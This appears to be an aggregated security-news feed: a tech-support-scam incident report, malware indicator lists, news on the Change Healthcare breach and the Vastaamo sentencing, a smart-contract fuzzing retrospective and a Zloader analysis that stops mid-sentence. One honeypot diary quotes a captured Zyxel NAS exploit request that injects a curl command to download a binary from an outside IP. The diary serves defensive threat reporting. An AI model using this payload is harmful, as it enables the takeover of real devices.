Security Posts

ISC Stormcast For Wednesday, May 1st, 2024 https://isc.sans.edu/podcastdetail/8962

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Executive Summary The “Security Alert” scam is a prevalent tech-support fraud that threatens both Windows and Apple users. It exploits the trust of users by masquerading as an official support site, using fake pop-up warnings to lure users into dialing scam phone numbers by conveying a sense of urgency. The ultimate goal is gaining remote access to the user’s system and pilfering personal data to extort money. Combating a “Security Alert” scam is difficult on many fronts because most of the time attackers leverage newly registered domains, which means there is a lack of malicious OSINT (open-source intelligence), and they are able to bypass traditional detection methods. To gain remote access, attackers need the end user to call into a fraudulent support team to install a Remote Desktop Protocol (RDP) tool. An endpoint detection and response (EDR) tool might not catch the initial intrusion as such tools are also used for legitimate business reasons. The most successful way to combat phishing/scams is by end-user education and communication with the IT department. In a recent incident, a fake “Microsoft Security Alert” domain targeted one of our Managed Endpoint Security with SentinelOne customers, causing alarm for the end users and IT staff, but fortunately, the end user did not fall into the trap of calling the fraudulent number. The customer immediately contacted their assigned Threat Hunter for support and guidance, and the Threat Hunter was able to quickly utilize the security measures in place, locate multiple domains, and report them to the Alien Labs threat intelligence team. AT&T Cybersecurity was one of the first cybersecurity companies to alert on the domains and share the information via the Open Threat Exchange (OTX) threat intelligence sharing community, helping other organizations protect against it. Investigation Initial Alarm Review Indicators of Compromise (IOCs) The initial security layers failed to raise alarms for several reasons. First, the firewalls did not block the domain because it was newly registered and therefore not yet on any known block lists. Second, the platform did not create any alarms because the domain’s SSL certificates were properly configured. Finally, the EDR tool did not alert because no downloads were initiated from the website. The first indication of an issue came from an end user who feared a hack and reported it to the internal IT team. Utilizing the information provided by the end user, the Threat Hunter was able to locate the user's asset. Sniffing the URL data revealed a deceptive “Microsoft Security Alert” domain and a counterfeit McAfee website. These were detected largely because of improvements recommended during the customer's monthly meetings with the Threat Hunter, including a recommendation to activate the SentinelOne Deep Visibility browser extension, which is the tool that was instrumental in capturing URL information with greater accuracy after all the redirects. Figure I – Fake Microsoft Support page Figure 2 – Fake McAfee page Artifact (Indicator of Compromise) IOC Fake McAfee Page bavareafastrak[.]org Website Hosting Scam Pages Galaxytracke[.]com Zip file hash Tizer.zip - 43fb8fb69d5cbb8d8651af075059a8d96735a0d5 Figure 3 – Indicators of compromise Expanded Investigation Events Search With the understanding that the endpoint must have accessed a website featuring the fraudulent support page, the search for the event was streamlined to focus on URL requests within a specific time frame. To filter out unnecessary noise, it was necessary to temporarily exclude authentic domains that are associated with commonly used tools within the organization. Once the threat hunter fine-tuned their search parameters, it took a keen eye and leveraging a sandbox environment to find the domain related to the fraudulent support page that the end user had encountered. This threat hunt uncovered a second domain that was posing as a fake McAfee page within the same time frame. Event Deep-Dive While OSINT searches yielded limited information, the Threat Hunter could manually explore the website to gain a better understanding of its operations. However, before doing this, it was critical to understand how the user had arrived at the website. Using SentinelOne Storyline technology, the Threat Hunter could correlate the sequence of events leading up to the website visit. They deduced that the user likely visited the site through a link shared on the Microsoft Teams web app, which redirected the user to the fraudulent support page via a clickable ad. Figure 4 – SentinelOne Deep Visibility findings Fortunately, SentinelOne was able to capture the main domain before the user was redirected to the landing page. Utilizing virtual machines as a safety precaution, the Threat Hunter was able to visit the domain where they discovered it was hosting multiple directories, some of which contained HTML code that was used to construct the fraudulent support page. Interestingly, some directories contained .zip files that held HTML files for other types of fraudulent support pages, such as Apple, complete with all the images and sounds necessary to create the pages. Figure 5 – Website hosting fake “Security Alert” sites Reviewing for Additional Indicators If we review the Pyramid of Pain, which is a conceptual model that categorizes IOCs and attacker tactics, techniques, and procedures (TTPs) according to how difficult they are for attackers to change, we see that domain names are the third-lowest layer. But how does the attacker move up the Pyramid? By giving end users a fraudulent support page to call! Domains will change daily, but one TTP that attackers will always need is gaining access to the machine. In this case, it was by having the Threat Hunter download the UltraViewer RDP tool. Figure 6 – Pyramid of Pain Thanks to SentinelOne’s app inventory capabilities, by correlating a successful URL event match with the installation of this tool, we can gauge the extent to which the end user may have fallen prey to the scam. We also reviewed our fleet of managed customers and found no installations of the UltraViewer tool that would indicate a user had been successfully compromised. Figure 7 – Download of UltraViewer assisted by scammer Combating Adversaries Our Alien Labs threat intelligence team promptly added the two domains we identified to an OTX pulse, which enables us to alert on any assets that visit these websites. We recommend that our customers conduct ongoing training with end users to help prevent them from falling victim to the latest scams. Additionally, the malicious domains detected should be blocked at the firewall. Although the threat actors behind these websites have changed their display, the domains remain active. They will continue to be monitored on OTX because of their past activity and potential future use. Blocking IOCs is only one component of a cybersecurity strategy. And this is why, during monthly calls with our Managed Endpoint Security with SentinelOne customers, we not only discuss the results of our latest threat hunts but also review applications installed in their environments. We provide guidance on how to enhance visibility in their environments, and one way to do this is by activating the SentinelOne Deep Visibility extension, which can significantly improve the tracking of URL events, such as those that occurred in this incident. Artifact (Indicator of Compromise) IOC Fake McAfee Page bavareafastrak[.]org Website Hosting Scam Pages Galaxytracke[.]com Zip file hash Tizer.zip - 43fb8fb69d5cbb8d8651af075059a8d96735a0d5

Mis compañeros de la 8.8 con el gran Gabriel Bergel a la cabeza han comenzado un nuevo proyecto de divulgación basado en el formato vídeo-podcast y ayer mismo comenzaron su andadura con el primer episodio, que ya puedes ver en el canal Youtube de la 8.8.
Figura 1: "Réplica" - El nuevo vídeo-podcast de la 8.8con Gabriel Berge
En este primer episodiio, se estrenó la primera temporada junto a Michelle Bordachar "Abogada, Investigadora y Docente de la Universidad de Chile, Asesora Jurídica y Legislativa de la Coordinación Nacional de Ciberseguridad".

Figura 2: Podcast Répicla "El deber de informar de un ciberataque"con Michelle Bordachar y Gabriel Bergel
Co ella conversan sobre sus inicios en el mundo de la ciberseguridad, anécdotas y detalles clave sobre la esperada "Ley Marco de Ciberseguridad", como por ejemplo: a quienes afecta, hitos, fechas y cómo se deben preparar las compañías.
Figura 3: Contactar con Gabriel Bergel
Yo tuve la oportunidad de ser invitado a hablar al Senado de Chile para hablar de "Ciberseguridad y Sociedad" cuando estaban en la fase de consultas para tomar información sobre cómo definir esta ley. Y dentro de poco planeo ir de nuevo a Chile, que hace ya tiempo que no voy, así que os avisaré.

Figura 4: Discurso de Chema Alonso Senado Chile: Ciberseguridad y Sociedad
Desde aquí os animo a que veáis el podcast, a que guardéis la fecha para la 8.8 de este año en Chile - que planeo estar también por allí - y que os animéis a colaborar con Gabriel Bergel en la divulgación de ciberseguridad en la región, que hace un trabajo fantástico desde hace muchos años. Y por más por hoy, que hoy es el Día Internacional de los Trabajadores, y toca descanso, así que yo me voy a ir a dar unas zancadas al aire libre, que es lo que toca.
¡Saludos Malignos!
Autor: Chema Alonso (Contactar con Chema Alonso)  


Sigue Un informático en el lado del mal RSS 0xWord
- Contacta con Chema Alonso en MyPublicInbox.com

I reviewed a filename I see regularly uploaded to my DShield sensor eyshcjdmzg that have been seeing since the 1 October 2023 which has multiple hashes and has been labeled as trojan.xorddos/ddos. These various files have only been uploaded to my DShield sensor by IP 218.92.0.60. Here is the timeline of the activity since 1 October 2023. According to VirusTotal the oldest file submission is b39633ff1928c7f548c6a27ef4265cfd2c380230896b85f432ff15c7c819032c [1] last submitted in Aug 2019 and was uploaded to the DShield sensor only once on the 7 March 2024.  This file can be detected with ET MALWARE DDoS.XOR Checkin via HTTP at Proofpoint Emerging Threats Open.  Sandbox Analysis I submitted file ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73 to a few sandbox including AssemblyLine [7] to get any and all indicators that were part of this sample: Other indicators appear to include a config file [5] that is used for C2 communications. I compared my results against other online sandbox [8][9] and there isn't much that has changed in the most active sample [1].  Indicators - Hashes ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73 - 65
cd9bc23360e5ca8136b2d9e6ef5ed503d2a49dd2195a3988ed93b119a04ed3a9 - 2
98e53e2d11d0aee17be3fe4fa3a0159adef6ea109f01754b345f7567c92ebebb - 1
b39633ff1928c7f548c6a27ef4265cfd2c380230896b85f432ff15c7c819032c - 1
ecc33502fa7b65dd56cb3e1b6d3bb2c0f615557c24b032e99b8acd40488fad7c - 1
b4a86fdf08279318c93a9dd6c61ceafc9ca6e9ca19de76c69772d1c3c89f72a8 - lib.xlsx
b4a86fdf08279318c93a9dd6c61ceafc9ca6e9ca19de76c69772d1c3c89f72a8 - lib.xlsxpi.enoan2107[.]com:112 Indicator - IP 218.92.0.60
114.114.114.114 Indicator - Domain qq[.]com/lib.asp
qq[.]com/lib.xlsx
qq[.]com/lib.xlsxpi.enoan2107.com:112 Indicator - Email keld@dkuug.dk  [1] https://www.virustotal.com/gui/file/ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
[2] https://www.virustotal.com/gui/file/cd9bc23360e5ca8136b2d9e6ef5ed503d2a49dd2195a3988ed93b119a04ed3a9
[3] https://www.virustotal.com/gui/file/98e53e2d11d0aee17be3fe4fa3a0159adef6ea109f01754b345f7567c92ebebb
[3] https://www.virustotal.com/gui/file/b39633ff1928c7f548c6a27ef4265cfd2c380230896b85f432ff15c7c819032c
[4] https://www.virustotal.com/gui/file/ecc33502fa7b65dd56cb3e1b6d3bb2c0f615557c24b032e99b8acd40488fad7c
[5] https://www.virustotal.com/gui/file/b4a86fdf08279318c93a9dd6c61ceafc9ca6e9ca19de76c69772d1c3c89f72a8
[6] https://isc.sans.edu/ipinfo/218.92.0.60
[7] https://cybercentrecanada.github.io/assemblyline4_docs/
[8] https://www.hybrid-analysis.com/sample/ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73/6542ca0426609dce5c06aef5
[9] https://www.hybrid-analysis.com/sample/f0e4649181ee9917f38233a1d7b6cbb98c9f7b484326f80c1bebc1fa3aef0645/65c332e1c38ced89350a1e94

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Enlarge / A photo of the Cheyenne supercomputer, which is now up for auction. (credit: US General Services Administration) On Tuesday, the US General Services Administration began an auction for the decommissioned Cheyenne supercomputer, located in Cheyenne, Wyoming. The 5.34-petaflop supercomputer ranked as the 20th most powerful in the world at the time of its installation in 2016. Bidding started at $2,500, but it's price is currently $27,643 with the reserve not yet met. The supercomputer, which officially operated between January 12, 2017, and December 31, 2023, at the NCAR-Wyoming Supercomputing Center, was a powerful (and once considered energy-efficient) system that significantly advanced atmospheric and Earth system sciences research. "In its lifetime, Cheyenne delivered over 7 billion core-hours, served over 4,400 users, and supported nearly 1,300 NSF awards," writes the University Corporation for Atmospheric Research (UCAR) on its official Cheyenne information page. "It played a key role in education, supporting more than 80 university courses and training events. Nearly 1,000 projects were awarded for early-career graduate students and postdocs. Perhaps most tellingly, Cheyenne-powered research generated over 4,500 peer-review publications, dissertations and theses, and other works."Read 5 remaining paragraphs | Comments

Enlarge (credit: Getty Images) Change Healthcare, the health care services provider that recently experienced a ransomware attack that hamstrung the US prescription market for two weeks, was hacked through a compromised account that failed to use multifactor authentication, the company CEO told members of Congress. The February 21 attack by a ransomware group using the names ALPHV or BlackCat took down a nationwide network Change Healthcare administers to allow healthcare providers to manage customer payments and insurance claims. With no easy way for pharmacies to calculate what costs were covered by insurance companies, payment processors, providers, and patients experienced long delays in filling prescriptions for medicines, many of which were lifesaving. Change Healthcare has also reported that hackers behind the attacks obtained personal health information for a "substantial portion" of the US population. Standard defense not in place Andrew Witty, CEO of Change Healthcare parent company UnitedHealth Group, said the breach started on February 12 when hackers somehow obtained an account password for a portal allowing remote access to employee desktop devices. The account, Witty admitted, failed to use multifactor authentication (MFA), a standard defense against password compromises that requires additional authentication in the form of a one-time password or physical security key.Read 8 remaining paragraphs | Comments

Enlarge / Be careful with the buckets you put out there for anybody to fill. (credit: Getty Images) If you're using Amazon Web Services and your S3 storage bucket can be reached from the open web, you'd do well not to pick a generic name for that space. Avoid "example," skip "change_me," don't even go with "foo" or "bar." Someone else with the same "change this later" thinking can cost you a MacBook's worth of cash. Ask Maciej Pocwierz, who just happened to pick an S3 name that "one of the popular open-source tools" used for its default backup configuration. After setting up the bucket for a client project, he checked his billing page and found nearly 100 million unauthorized attempts to create new files on his bucket (PUT requests) within one day. The bill was over $1,300 and counting. Nothing, nothing, nothing, nothing, nothing … nearly 100 million unauthorized requests. (credit: Maciej Pocwierz) "All this actually happened just a few days after I ensured my client that the price for AWS services will be negligible, like $20 at most for the entire month," Pocwierz wrote over chat. "I explained the situation is very unusual but it definitely looked as if I didn't know what I'm doing."Read 5 remaining paragraphs | Comments

Enlarge (credit: Getty Images) On Sunday, word began to spread on social media about a new mystery chatbot named "gpt2-chatbot" that appeared in the LMSYS Chatbot Arena. Some people speculate that it may be a secret test version of OpenAI's upcoming GPT-4.5 or GPT-5 large language model (LLM). The paid version of ChatGPT is currently powered by GPT-4 Turbo. Currently, the new model is only available for use through the Chatbot Arena website, although in a limited way. In the site's "side-by-side" arena mode where users can purposely select the model, gpt2-chatbot has a rate limit of eight queries per day—dramatically limiting people's ability to test it in detail. So far, gpt2-chatbot has inspired plenty of rumors online, including that it could be the stealth launch of a test version of GPT-4.5 or even GPT-5—or perhaps a new version of 2019's GPT-2 that has been trained using new techniques. We reached out to OpenAI for comment but did not receive a response by press time. On Monday evening, OpenAI CEO Sam Altman seemingly dropped a hint by tweeting, "i do have a soft spot for gpt2."Read 14 remaining paragraphs | Comments

China's brain-computer interface technology is catching up to the US. But it envisions a very different use case: cognitive enhancement.

Thousands of planes and ships are facing GPS jamming and spoofing. Experts warn these attacks could potentially impact critical infrastructure, communication networks, and more.

Yesterday, I talked about attacks against a relatively recent D-Link NAS vulnerability. Today, scanning my honeypot logs, I found an odd URL that I didn't recognize. The vulnerability is a bit older but turns out to be targeting yet another NAS. The sample request: POST /cmd,/ck6fup6/portal_main/pkg_init_cmd/register_main/setCookie HTTP/1.0
User-Agent: Baidu
Accept: */*
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Host: [redacted]

pkgname=myZyXELcloud-Agent&cmd=%3bcurl%2089.190.156.248/amanas2&content=1 The exploit is simple: attempt to download and execute the "amanas2" binary and execute it. Sadly, I was not able to retrieve the file. Virustotal does show the URL as malicious for a couple of anti-malware tools [1] Oddly, I am seeing this pattern only the last couple days, even though the vulnerability and the PoC were disclosed last year [2]: Date Count April 27th 56 April 28th 1530 April 29th 899 April 30th 749 Based on our logs, only one IP address exploits the vulnerability: %%ip: 89.190.156.248%%. The IP started scanning a couple of days earlier for index pages and "jeecgFormDemoController.do, likely attempting to exploit a deserialization vulnerability in jeecgFormDemoController  [1] https://www.virustotal.com/gui/url/ed0f3f39dce2cecca3cdc9e15099f0aa6cad3ea18f879beafe972ecd062a8229?nocache=1
[2] https://bugprove.com/knowledge-hub/cve-2023-4473-and-cve-2023-4474-authentication-bypass-and-multiple-blind-os-command-injection-vulnerabilities-in-zyxel-s-nas-326-devices/   ---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter| (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

President Joe Biden has updated the directives to protect US critical infrastructure against major threats, from cyberattacks to terrorism to climate change.

A 26-year-old Finnish man was sentenced to more than six years in prison today after being convicted of hacking into an online psychotherapy clinic, leaking tens of thousands of patient therapy records, and attempting to extort the clinic and patients. On October 21, 2020, the Vastaamo Psychotherapy Center in Finland became the target of blackmail when a tormentor identified as “ransom_man” demanded payment of 40 bitcoins (~450,000 euros at the time) in return for a promise not to publish highly sensitive therapy session notes Vastaamo had exposed online. Ransom_man announced on the dark web that he would start publishing 100 patient profiles every 24 hours. When Vastaamo declined to pay, ransom_man shifted to extorting individual patients. According to Finnish police, some 22,000 victims reported extortion attempts targeting them personally, targeted emails that threatened to publish their therapy notes online unless paid a 500 euro ransom. Finnish prosecutors quickly zeroed in on a suspect: Julius “Zeekill” Kivimäki, a notorious criminal hacker convicted of committing tens of thousands of cybercrimes before he became an adult. After being charged with the attack in October 2022, Kivimäki fled the country. He was arrested four months later in France, hiding out under an assumed name and passport. Antti Kurittu is a former criminal investigator who worked on an investigation involving Kivimäki’s use of the Zbot botnet, among other activities Kivimäki engaged in as a member of the hacker group Hack the Planet (HTP). Kurittu said the prosecution had demanded at least seven years in jail, and that the sentence handed down was six years and three months. Kurittu said prosecutors knocked a few months off of Kivimäki’s sentence because he agreed to pay compensation to his victims, and that Kivimäki will remain in prison during any appeal process. “I think the sentencing was as expected, knowing the Finnish judicial system,” Kurittu told KrebsOnSecurity. “As Kivimäki has not been sentenced to a non-suspended prison sentence during the last five years, he will be treated as a first-timer, his previous convictions notwithstanding.” But because juvenile convictions in Finland don’t count towards determining whether somebody is a first-time offender, Kivimäki will end up serving approximately half of his sentence. “This seems like a short sentence when taking into account the gravity of his actions and the life-altering consequences to thousands of people, but it’s almost the maximum the law allows for,” Kurittu said. Kivimäki initially gained notoriety as a self-professed member of the Lizard Squad, a mainly low-skilled hacker group that specialized in DDoS attacks. But American and Finnish investigators say Kivimäki’s involvement in cybercrime dates back to at least 2008, when he was introduced to a founding member of what would soon become HTP. Finnish police said Kivimäki also used the nicknames “Ryan”, “RyanC” and “Ryan Cleary” (Ryan Cleary was actually a member of a rival hacker group — LulzSec — who was sentenced to prison for hacking). Kivimäki and other HTP members were involved in mass-compromising web servers using known vulnerabilities, and by 2012 Kivimäki’s alias Ryan Cleary was selling access to those servers in the form of a DDoS-for-hire service. Kivimäki was 15 years old at the time. In 2013, investigators going through devices seized from Kivimäki found computer code that had been used to crack more than 60,000 web servers using a previously unknown vulnerability in Adobe’s ColdFusion software. KrebsOnSecurity detailed the work of HTP in September 2013, after the group compromised servers inside data brokers LexisNexis, Kroll, and Dun & Bradstreet. The group used the same ColdFusion flaws to break into the National White Collar Crime Center (NWC3), a non-profit that provides research and investigative support to the U.S. Federal Bureau of Investigation (FBI). As KrebsOnSecurity reported at the time, this small ColdFusion botnet of data broker servers was being controlled by the same cybercriminals who’d assumed control over SSNDOB, which operated one of the underground’s most reliable services for obtaining Social Security Number, dates of birth and credit file information on U.S. residents. Kivimäki was responsible for making an August 2014 bomb threat against former Sony Online Entertainment President John Smedley that grounded an American Airlines plane. Kivimäki also was involved in calling in multiple fake bomb threats and “swatting” incidents — reporting fake hostage situations at an address to prompt a heavily armed police response to that location. Ville Tapio, the former CEO of Vastaamo, was fired and also prosecuted following the breach. Ransom_man bragged about Vastaamo’s sloppy security, noting the company had used the laughably weak username and password “root/root” to protect sensitive patient records. Investigators later found Vastaamo had originally been hacked in 2018 and again in 2019. In April 2023, a Finnish court handed down a three-month sentence for Tapio, but that sentence was suspended because he had no previous criminal record.

By Nat Chin Welcome to our deep dive into the world of invariant development with Curvance. We’ve been building invariants as part of regular code review assessments for more than 6 years now, but our work with Curvance marks our very first official invariant development project, in which developing and testing invariants is all we did. Over the nine-week engagement, we wrote and tested 216 invariants, which helped us uncover 13 critical findings. We also found opportunities to significantly enhance our tools, including advanced trace printing and corpus preservation. This project was a journey of navigating learning curves and accomplishing technological feats, and this post will highlight our collaborative efforts and the essential role of teamwork in helping us meet the challenge. And yes, we’ll also touch on the brain-cell-testing moments we experienced throughout this project! A collective “losing it” moment, capturing the challenges of this project Creating a quality fuzzing suite The success of a fuzzing suite is grounded in the quality of its invariants. Throughout this project, we focused on fine-tuning each invariant for accuracy and relevance. Fuzzing, in essence, is like having smart monkeys on keyboards testing invariants, whose effectiveness relies heavily on their precision. Our journey with Curvance over nine weeks involved turning in-depth discussions on codebase properties into precise English explanations and then coding them into executable tests, as shown in the screenshots below. Examples of what our daily discussions looked like to clarify invariants From the get-go, Chris from Curvance was often available to help clarify the code’s expected behavior and explain Curvance’s design choices. His insights always clarified complex functions and behavior, and he always helped with hands-on debugging and checking our invariants. This engagement was as productive as it was thanks to Chris’s consistent feedback and working alongside us the entire time. Thank you, Curvance! The tools (and support teams) behind our success Along with Curvance’s involvement, support from our internal teams behind Echidna, Medusa, and CloudExec helped our project succeed. Their swift responses to issues, especially during extensive rebases and complex debugging, were crucial. The Curvance engagement pushed these tools to their limits, and the solutions we had to come up with for the challenges we faced led to significant enhancements in these tools. CloudExec proved invaluable for deploying long fuzzing jobs onto DigitalOcean. We integrated it with Echidna and Medusa for prolonged runs, enabling Curvance to easily set up its own future fuzzing runs. We pinpointed areas of improvement for CloudExec, such as its preservation of output data, which you can see on its GitHub issue tracker. We’ve already addressed many of these issues. Echidna, our property-based fuzzer for Ethereum contracts, was pivotal in falsifying assertions. We first used Echidna in exploration mode to broadly cover the Curvance codebase, and then we moved into assertion mode, using anywhere from 10 million to 100 billion iterations. This intense use of Echidna throughout our nine-week engagement helped us uncover vital areas of improvement for the tool, making it easier for it to debug and retain the state of explored code areas. Medusa, our geth-based experimental fuzzer, complemented Echidna in its coverage efforts for falsifying invariants on Curvance. Before we could use Medusa for this engagement, we needed to fix a known out-of-memory bug. The fix for this bug—along with fixes implemented in CloudExec to help it better preserve output data—critically improved the tool and helped maximize our coverage of the Curvance code. Immediately after it started running, it found a medium-severity bug in the code that Echidna had missed. (Echidna eventually found this bug after we changed the block time delay, likely due to the fuzzer’s non-determinism.) Our first Medusa run of 48+ hours resulted in a medium-severity bug. The long and winding road While we had the best support from the teams behind our tools and from our client that we could have asked for, we still faced considerable challenges throughout this project—from the need to keep pace with Curvance’s continued development, to the challenges of debugging assertion failures. But by meeting these challenges, we learned important lessons about the nature of invariant development, and we were able to implement crucial upgrades to our tools to improve our process overall. Racing to keep up with Curvance’s code changes Changes to the Curvance codebase—like function removals, additions of function parameters, adjustments to arguments and error messages, and renaming of source contracts—often challenged our fuzzing suite by invalidating existing invariants or causing a series of assertion failures. Ultimately, these changes rendered our existing corpus items obsolete and unusable, and we had to rebase our fuzzing suite and revise both existing and new invariants constantly to ensure their continued relevance to the evolving system. This iterative process paralleled the client’s code development, presenting a mix of true positives (actual bugs in the client’s code) and false positives (failures due to incorrect or outdated invariants). Such outcomes emphasized that fuzzing isn’t a static, one-time setup; it demands ongoing maintenance and updates, akin to development of any active codebase. Understanding the rationale behind each invariant change post-rebase is crucial. Hasty adjustments without fully grasping their implications could inadvertently mask bugs, undermining the effectiveness of the fuzzing suite. Keeping the suite alive and relevant is as vital as the development of the codebase itself. It’s not just about letting the fuzzer run; it’s about maintaining its alignment with the system it tests. Remember, the true power of a fuzzing suite lies in the accuracy of its invariants. Critical tool upgrades and lessons learned We had to make a significant rebase after the Lendtroller contract’s name was changed to MarketManager in commit a96dc9a. This change drastically impacted our work, as Echidna had just finished 43 days of running in the cloud using CloudExec. This nonstop execution had allowed Echidna to develop a detailed corpus capable of autonomously tackling complex liquidations. Unfortunately, the change rendered this corpus obsolete, and each corpus item caused Echidna worker threads to crash upon transaction replay. With our setup of 15 workers, it took only 14 more transactions that could not be replayed for all the Echidna workers to crash, halting Echidna entirely: An Echidna crash resulting from not being able to replay corpus item Our rebase due to Curvance’s code change led to a significant problem: our fuzzers could no longer access MarketManager functions needed to explore complex state, like posting collateral and borrowing debt. This issue prompted us to make crucial updates to Echidna, specifically to enhance its ability to validate and replay corpus sequences without crashing. We also made updates to Medusa to improve its tracking of corpus health and ability to fix start-up panics. Extended discussions about maintaining a dynamic corpus ensued, with our engineering director stepping in to manually adjust the corpus, offering some relief. We shifted our strategy to adjust to the new codebase’s lack of coverage. We developed liquidation-specific invariants for the codebase version before the contract name change, while running the updated version in different modes to boost coverage. CloudExec’s new features, like named jobs, improved checkpointing of output directories, and checkpointing for failed jobs, were key in differentiating and managing these runs. Despite all these improvements, we let the old corpus go and chose to integrate setup functions into key contracts to speed up coverage. While effective in increasing coverage, this strategy introduced biases, especially in liquidation scenarios, by relying on static values. This limitation, marked in the codebase with /// @coverage:limitation tags, underscores the importance of broadening input ranges in our stateful tests to ensure comprehensive system exploration. Trials and tribulations: Debugging The Curvance invariant development report mainly highlights the results of our debugging without delving into the complex journey of investigation and root cause analysis behind these findings. This part of the process, involving detailed analysis once assertion failures were identified, required significant effort. Our primary challenge was dissecting long call sequences, often ranging from 9 to 70 transactions, which required deep scrutiny to identify where errors and unexpected values crept in. Some sequences spanned up to 29 million blocks or included time delays exceeding 6 years, adding layers of complexity to our understanding of the system’s behavior. To tackle this, we had to manually insert logs for detailed state information, turning debugging into an exhaustive and manual endeavor: Echidna’s debugging at the beginning of the engagement Our ability to manually shrink transaction sequences hinged on our deep understanding of Curvance’s system. This detailed knowledge was critical for us to effectively identify which transactions were essential for uncovering vulnerabilities and which could be discarded. As we gained this deeper insight into the system throughout the project, our ability to streamline transaction sequences improved markedly. Based on our work with combing through transaction sequences, we implemented a rich reproducer trace feature in Echidna, providing us with detailed traces of the system during execution and elaborate printouts of the system state at each step of the transaction failure sequence. Meanwhile, we also added shrinking limits of transaction sequences to Medusa to fix intermittent assertion failures, and we updated Medusa’s coverage report to increase its readability. The stark difference in Echidna’s trace printing after these updates can easily be seen in the figure below: Echidna’s call sequences with rich traces at the end of the engagement Finally, we created corresponding unit tests based on most assertion failures during our engagement. Initially, converting failures to unit tests was manual and time-consuming, but by the end, we streamlined the process to take just half an hour. We used the insights we gained from this experience to develop fuzz-utils, an automated tool for converting assertion failures into unit tests. Although it’s yet to be extensively tested, its potential for future engagements excites us! One lock too many: The story behind TOB-CURV-4 After a significant change to the Curvance codebase, we encountered a puzzling assertion failure. Initially, we suspected it might be a false positive, a common occurrence with major code changes. However, after checking the changes in the Curvance source code, the root cause wasn’t immediately apparent, leading us into a complex and thorough debugging process. We analyzed the full reproducer traces in Echidna (an Echidna feature that was added during this engagement, as mentioned in the previous section), and we tested assumptions on different senders. We crafted and executed a series of unit tests, each iteration shedding more light on the underlying mechanics. It was time to zoom out to identify the commonalities in the functions involved in the new assertion failures, leading us to focus on the processExpiredLock function. By closely scrutinizing this function, we discovered an important assertion was missing: ensuring the number of user locks stays the same after a call to the function with the “relock” option. When we reran the fuzzer, it immediately revealed the error: such a call would process the expired lock but incorrectly grant the user a new lock without removing the old one, leading to an unexpected increase in the total number of locks. This caused all forms of issues in the combineAllLocks function: the contracts always thought the user had one more lock than they actually had. Eureka! This trace shows the increase in the number of user locks after the expired lock is processed: The trace for the increase in user locks, provided in the full invariant development report in finding TOB-CURV-4 What made this finding particularly striking was its ability to elude detection through the various security reviews and tests. The unit tests, as it turned out, were checking an incorrect postcondition, concealing the bug in its checks, masking its error within the testing suite. The stateless fuzzing tests on this codebase (built by Curvance before this engagement) actually started to fail after this bug was fixed. This highlighted the necessity of not only complex and meticulous testing that validates every aspect of the codebase, but also of continually questioning and validating every aspect of the target code—and its tests. What’s next? Reflecting on our journey with Curvance, we recognize the importance of a comprehensive security toolkit for smart contracts, including unit, integration, and fuzz tests, to uncover system complexities and potential issues. Our collaboration over the past nine weeks has allowed us to meticulously examine and understand the system, enhancing our findings’ accuracy and deepening our mutual knowledge. Working closely with Curvance has proven crucial in revealing the technology’s intricacies, leading to the development of a stateful fuzzing suite that will evolve and expand with the code, ensuring continued security and insights. Take a look at our findings in the public Curvance report! Or dive into the Curvance fuzzing suite, now open through the Cantina Competition! Simply download and unzip corpus.zip into the curvance/ directory, then run make el for Echidna or make ml for Medusa. We’ve designed it for ease of use and expansion. Encounter any issues? Let us know! For detailed instructions and suite extension tips, check the Curvance-CantinaCompetition README and keep an eye out for the /// @custom:limitation tags in the suite. And if you’re developing a project and want to explore stateful fuzzing, we’d love to chat with you!

With RSAC just a week away, Cisco Talos is gearing up for another year of heading to San Francisco to share in some of the latest major cybersecurity announcements, research and news.  We’ve pulled together the highlights, so you don’t miss out on all things Talos.  Tuesday, May 5  Joe Marshall will be presenting on Project Power Up alongside Tara Vasyliv of NPC UKRENERGO on how Talos has helped to protect Ukraine’s power grid from disruptive electronic warfare. Reserve your seat for the 8:30 a.m. session here. Nick Biasini will be giving a lighting talk at the Cisco Booth N-5845 in the North Hall at 3:30 p.m. on the good, the bad and the ugly of ransomware in 2024.  Wednesday, May 6  Nicole Hoffman will be signing her children’s book, “The Mighty Threat Intelligence Warrior,” at 12:30 p.m. in the RSA Bookstore located in Moscone South, Esplanade Level.  Thursday, May 7  Hoffman will be out again, this time hosting a session on applying past lessons learned in hopes of a better future for identify threat detection at 9:40 a.m. in Moscone West 3022. Reserve a seat for the session here.  And you can always follow along all week on X and LinkedIn for the latest updates.  

IntroductionZloader (a.k.a. Terdot, DELoader, or Silent Night) is a modular trojan based on leaked ZeuS source code. As detailed in our previous blog, Zloader reemerged following an almost two-year hiatus with a new iteration that included modifications to its obfuscation techniques, domain generation algorithm (DGA), and network communication.Most recently, Zloader has reintroduced an anti-analysis feature similar to one that was present in the original ZeuS 2.x code. The feature restricts Zloader’s binary execution to the infected machine. This characteristic of ZeuS was abandoned by many malware variants derived from the leaked source code including Zloader, until now. In this blog post, we explain how this anti-analysis feature works and how it differs from the original ZeuS implementation.Key TakeawaysZloader (a.k.a. Terdot, DELoader, or Silent Night) is a modular trojan based on the leaked ZeuS source code dating back to 2015.Zloader has continued to evolve since its resurrection around September 2023 after an almost two-year hiatus.The latest version, 2.4.1.0, introduces a feature to prevent execution on machines that differ from the original infection. A similar anti-analysis feature was present in the leaked ZeuS 2.X source code, but implemented differently.Technical AnalysisIn the upcoming sections, we explore the technical intricacies of Zloader's latest anti-analysis feature introduced in versions 2.4.1.0 and 2.5.1.0. We also draw comparisons to ZeuS to provide a comprehensive understanding of their respective approaches.Registry checkZloader samples with versions greater than 2.4.1.0 will abruptly terminate if they are copied and executed on another system after the initial infection. This is due to a Windows registry check for the presence of a specific key and value.The screenshot below shows the Windows Registry check failing in a malware sandbox.Figure 1: Registry key check performed in a sandbox.The registry key and value are generated based on a hardcoded seed that is 